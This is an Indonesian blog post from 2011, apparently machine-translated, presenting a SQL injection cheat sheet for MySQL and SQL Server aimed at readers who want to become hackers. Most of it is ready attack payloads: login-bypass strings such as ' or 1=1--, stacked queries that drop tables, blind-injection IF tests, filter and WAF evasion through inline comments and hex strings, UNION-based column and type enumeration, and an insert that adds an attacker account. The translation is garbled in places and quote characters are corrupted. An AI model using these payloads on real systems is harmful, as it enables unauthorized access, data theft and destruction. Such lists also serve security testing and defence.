CheatSheet SQL injection PART 1

Kali ini saya akan memberikan CheatSheet SQLI sebagai basic bagi anda yang mau belajar menjadi Hacker dengan teknik SQL Injection,
Ini adalah perintah perintah yang digunakan dalam melakukan SQLI saat proses Hacking.
Saat ini hanya untuk MySQL dan Microsoft SQL Server. Sebagian besar sampel tidak benar untuk setiap situasi tunggal. Sebagian besar lingkungan dunia nyata bisa berubah karena kurung, basis kode yang berbeda dan kalimat SQL.

Sampel disediakan untuk memungkinkan pembaca untuk mendapatkan ide dasar dari serangan potensial.

* M : MySQL
* S : SQL Server
* O : Oracle
* + : Possibly all other databases

Contoh;
(MS) MySQL dan SQL Server dll
(M * S) Hanya dalam beberapa versi MySQL atau kondisi khusus lihat terkait catatan dan SQL Server
Sintaks Referensi dengan Serangan Sampel Dasar
Akhir / Mengomentari Komentar Out Line / Queries
Line Komentar

(Komentar sisa query)

Komentar Line umumnya berguna untuk mengabaikan sisa query sehingga Anda dapat meninggalkan sejenak untuk memperbaiki seluruh query.

* — (SM)
DROP sampletable;–

* # (M)
DROP sampletable;#

Sampel Serangan SQL Injection.

* Username: admin’–
* SELECT * FROM members WHERE username = ‘admin’–’ AND password = ‘password’
Anda akan sebagai user admin, karena akhir dari query SQL akan diabaikan.

Inline Komentar

Komentar akhir query dengan tidak menutup atau menggunakannya untuk melewati daftar blacklisting, menghapus spasi, obfuscating dan menentukan versi database.

* /*Komentar Disini*/ (SM)
o DROP/*Komentar*/Contoh tabel
o DR/**/OP/*bypass blacklisting*/Contoh tabel
o SELECT/*avoid-spaces*/password/**/FROM/**/Members

* /*! MYSQL Special SQL */ (M)
Ini adalah sintaks komentar khusus untuk MySQL. Hal ini sempurna untuk mendeteksi versi MySQL. Jika Anda menempatkan kode ke dalam komentar itu anda akan mengeksekusi di MySQL. Anda juga dapat menggunakan ini untuk mengeksekusi beberapa kode hanya jika server lebih tinggi dari versi yang disediakan.

SELECT /*!32302 1/0, */ 1 FROM tablename

Contoh Serangan SQL Injection

* ID: /*!32302 10*/
* ID: 10
Anda akan mendapatkan respon yang sama jika versi MySQL lebih tinggi dari 3.23.02

Stacking Queries/Penumpukan Query

Menjalankan lebih dari satu permintaan dalam satu transaksi. Hal ini sangat berguna di setiap titik injeksi, khususnya di SQL Server back ended aplikasi.

* ; (S)
SELECT * FROM members; DROP members–

Query berakhir dan mulai yang baru.

*Tentang MySQL dan PHP;
Untuk memperjelas beberapa masalah;
PHP - MySQL tidak mendukung permintaan ditumpuk, Java tidak mendukung query ditumpuk (saya yakin untuk ORACLE,tapi tidak begitu yakin tentang database lainnya). Biasanya query MySQL mendukung ditumpuk tetapi karena lapisan database di sebagian besar konfigurasi itu berbeda jadi tidak mungkin untuk mengeksekusi query kedua dalam satu aplikasi PHP-MySQL atau mungkin MySQL klien mendukungan ini,saya tidak yakin. Dapatkah seseorang menjelaskan itu?
Contoh Serangan SQL Injection

* ID: 10;DROP members –
* SELECT * FROM products WHERE id = 10; DROP members–

Hal ini akan menjalankan anggota DROP dari SQL setelah Query SQL normal.
if statements

Dapatkan jawaban berdasarkan if statements adalah salah satu poin kunci dari Blind SQL Injection dan dapat sangat berguna untuk menguji hal-hal sederhana.
MySQL If Statement

* IF(condition,true-part,false-part) (M)
SELECT IF(1=1,’true’,'false’)

SQL Server If Statement

* IF contidion true-part ELSE false-part (S)
IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

Contoh Serangan SQL Injection

if ((select user) = ’sa’ OR (select user) = ‘dbo’) select 1 else select 1/0 (S)
Ini akan melemparkan sebuah pembagi dengan nol kesalahan jika user login saat itu tidak "sa" atau "dbo".
Menggunakan Integer

Berguna untuk melewati, magic_quotes () dan filter serupa, atau bahkan WAFs.

* 0xHEXNUMBER (SM)
Anda dapat menulis hex seperti ini;

SELECT CHAR(0×66) (S)
SELECT 0×5045 (ni bukan integer tapi string dari Hex) (M)
SELECT 0×50 + 0×45 (ini integer sekarang!) (M)

String Operations/Operasi String

String terkait operasi. Hal ini dapat sangat berguna untuk membangun injeksi yang tidak menggunakan tanda kutip, bypass setiap black listing lainnya atau menentukan database.

String Concatenation/Penggabungan String

* + (S)
SELECT login + ‘-’ + password FROM members

* || (*MO)
SELECT login || ‘-’ || password FROM members

*About MySQL `||`;
Jika MySQL bekerja dalam mode ANSI itu akan bekerja tetapi dinyatakan MySQL menerimanya sebagai operator logis `` itu akan kembali seperti semula. Lebih baik cara untuk melakukannya adalah dengan menggunakan CONCAT () fungsi di MySQL.

* CONCAT(str1, str2, str3, …) (M)
Menggabungkan string disediakan.
SELECT CONCAT(login, password) FROM members

String tanpa tanda kutip

Ini adalah beberapa cara langsung menggunakan string tapi ini selalu mungkin untuk menggunakan CHAR () (MS) dan CONCAT () (M) untuk menghasilkan string tanpa tanda kutip.

* 0×457578 (M) - Hex Representation of string/Representasi string
SELECT 0×457578
Ini akan dipilih sebagai string di MySQL.

* Using CONCAT() in MySQL
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
Ini akan mengembalikan ¡®KLM¡¯.

* SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
Ini akan mengembalikan ¡®KLM¡¯.

String Modification & Related/Memodifikasi & Mengaitkan String

* ASCII() (SM)
Mengembalikan nilai ASCII karakter paling kiri. Harus memiliki fungsi untuk Suntikan Blind SQL.

SELECT ASCII(’a')

* CHAR() (SM)
Mengkonversi sebuah integer dari ASCII.

SELECT CHAR(64)

UNION ¨C Memperbaiki Masalah Bahasa

Sementara suntikan union kadang-kadang Anda akan mendapatkan error karena settingan bahasa yang berbeda (tabel, pengaturan lapangan, meja gabungan pengaturan db / dll) fungsi-fungsi ini sangat berguna untuk melewati masalah ini. Ini jarang tetapi jika Anda berhadapan dengan Jepang, Rusia,Turki dll. Maka Anda akan melihat perbedaannya.

* SQL Server (S)
Gunakan field SQL_Latin1_General_Cp1254_CS_AS atau field yang sah lainnya - lihat dokumentasi SQL Server.

* MySQL (M)
Hex() untuk setiap masalah yang mungkin

Login Screen (SMO+)
SQL Injection 101, trik Login

* admin’ –
* admin’ #
* admin’/*
* ‘ or 1=1–
* ‘ or 1=1#
* ‘ or 1=1/*
* ‘) or ‘1′=’1–
* ‘) or (’1′=’1–
* etc….

* Login as different user (SM*)
‘ UNION SELECT 1, ‘anotheruser’, ‘doesnt matter’, 1–

*Old versions of MySQL tidak mendukung permintaan union
Kesalahan Berdasarkan - Find Columns Names
Finding Column Names with HAVING BY - Error Based (S)

Dalam urutan yang sama,

* ‘ HAVING 1=1 –
* ‘ GROUP BY table.columnfromerror1 HAVING 1=1 –
* ‘ GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 –
* ‘ GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 — dan seterusnya
* Jika Anda tidak mendapatkan kesalahan lebih dari itu maka beres.

menemukan berapa banyak columns dalam SELECT query by ORDER BY (MSO+)

Menemukan column number dari ORDER BY dapat mempercepat proses UNION SQL Injection.
* ORDER BY 1–
* ORDER BY 2–
* ORDER BY N– dan seterusnya
* Terus sampai mendapatkan error. Error berarti Anda telah menemukan jumlah kolom yang dipilih.

Data types, UNION, etc.
Hints,

* Selalu gunakan UNION ALL karena gambar jenis bidang yang sama tidak berbeda. Dengan Union default mencoba untuk mendapatkan catatan dengan berbeda.
* Untuk menghilangkan catatan unrequired dari penggunaan tabel kiri -1 atau tidak ada pencarian record pada awal query (jika injeksi di WHERE). Hal ini bisa menjadi penting jika Anda hanya mendapatkan satu hasil pada suatu waktu.
* Gunakan NULL dalam suntikan UNION untuk tipe data yang instead bukannya mencoba menebak string, tanggal, integer dll
o Hati-hati dalam Blind situtaions mungkin Anda bisa mengerti kesalahan yang berasal dari DB atau aplikasi itu sendiri. Karena bahasa-bahasa seperti ASP.NET umumnya melempar kesalahan saat mencoba untuk menggunakan nilai NULL (karena biasanya pengembang tidak mengharapkan untuk melihat NULL dalam bidang username)

Mencari Column Type

* ‘ union select sum(columntofind) from users– (S)
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′
[Microsoft][ODBC SQL Server Driver][SQL Server] Jumlah atau operasi agregat rata-rata tidak bisa mengambil tipe data varchar sebagai argumen.

Jika Anda tidak mendapatkan error itu berarti kolom numerik.

* Anda juga dapat menggunakan CAST() or CONVERT()
o SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL–

* 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 ¨C-
No Error - Syntax is right. MS SQL Server Used. Proceeding.

* 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 ¨C-
No Error ¨C First column is an integer.

* 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
Error! ¨C Second column is not an integer.

* 11223344) UNION SELECT 1,¡¯2¡¯,NULL,NULL WHERE 1=2 ¨C-
No Error ¨C Second column is a string.

* 11223344) UNION SELECT 1,¡¯2¡¯,3,NULL WHERE 1=2 ¨C-
Error! ¨C Third column is not an integer. …

Microsoft OLE DB Provider for SQL Server error ‘80040e07′
Explicit konversi dari tipe data int gambar tidak diperbolehkan.

Anda dapat convert() error sebelum target union errors! Jadi, mulailah dengan mengkonversi () Union
Simple Insert (MSO+)
‘; insert into users values( 666, ‘attacker’, ‘foobar’, 0xffff )–
Useful Function / Information Gathering / Stored Procedures / Bulk SQL Injection Notes

Penulis : Nyong Galau ~ Sebuah blog yang menyediakan berbagai macam informasi

Artikel CheatSheet SQL injection PART 1 ini dipublish oleh Nyong Galau pada hari Selasa, 27 September 2011. Semoga artikel ini dapat bermanfaat.Terimakasih atas kunjungan Anda silahkan tinggalkan komentar.sudah ada 0 komentar: di postingan CheatSheet SQL injection PART 1
 

0 komentar:

Posting Komentar